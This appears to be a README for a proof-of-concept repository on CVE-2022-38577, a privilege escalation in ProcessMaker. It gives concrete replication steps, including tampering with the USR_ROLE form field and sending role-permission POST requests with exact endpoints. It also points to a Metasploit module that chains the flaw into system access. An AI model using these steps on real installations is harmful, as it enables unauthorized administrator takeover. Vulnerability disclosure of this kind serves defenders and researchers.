Este repositorio ha sido archivado y movido a: https://github.com/sornram9254/CVE-BBP-VDP

ProcessMaker - Escalada de Privilegios en el Perfil de Usuario

CVE-2022-38577

Se descubrió que ProcessMaker anterior a v3.5.4 contiene permisos inseguros en la página de perfil de usuario. Esta vulnerabilidad permite a los atacantes escalar usuarios normales a Administradores.

* Este exploit puede utilizarse con el módulo de Metasploit (ProcessMaker Plugin Upload) - exploit/multi/http/processmaker_plugin_upload para obtener acceso al sistema.

Privilege Escalation replication.
for 2.5.0 - 3.0 GA:
    1. Log in as normal user.
    2. Change "USR_ROLE" on post request form when updating profile information to "PROCESSMAKER_ADMIN".
    3. Refresh page to get new role.

for 3.2.1 and before:
    1. Log in as normal user.
    2. Get Role ID by request "/sysworkflow/en/neoclassic/roles/roles_Ajax?request=rolesList&_dc={epoch_time}"
    3. Get Permission ID by request "/sysworkflow/en/neoclassic/roles/data_rolesPermissions?rUID={Role_ID}&type=show"
    4. Update role to escalation privileges using POST Body request:
    POST /sysworkflow/en/neoclassic/roles/roles_Ajax
    request=assignPermissionToRoleMultiple&ROL_UID={Role_ID}&PER_UID={PERMISSION_ID}

https://youtu.be/PVaChDG3ZQ0

TODO: Optimizar el código [módulo requests] y el manejo de excepciones.

Referencia:
[x] https://nvd.nist.gov/vuln/detail/CVE-2022-38577
[x] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-38577
[x] https://packetstormsecurity.com/files/168427/ProcessMaker-Privilege-Escalation.html
[x] https://drive.google.com/file/d/1iP9NYUkYEy_FGMpcnTkUWn8nGcqDT02_/view?usp=sharing

CVE-2022-38577-Processmaker

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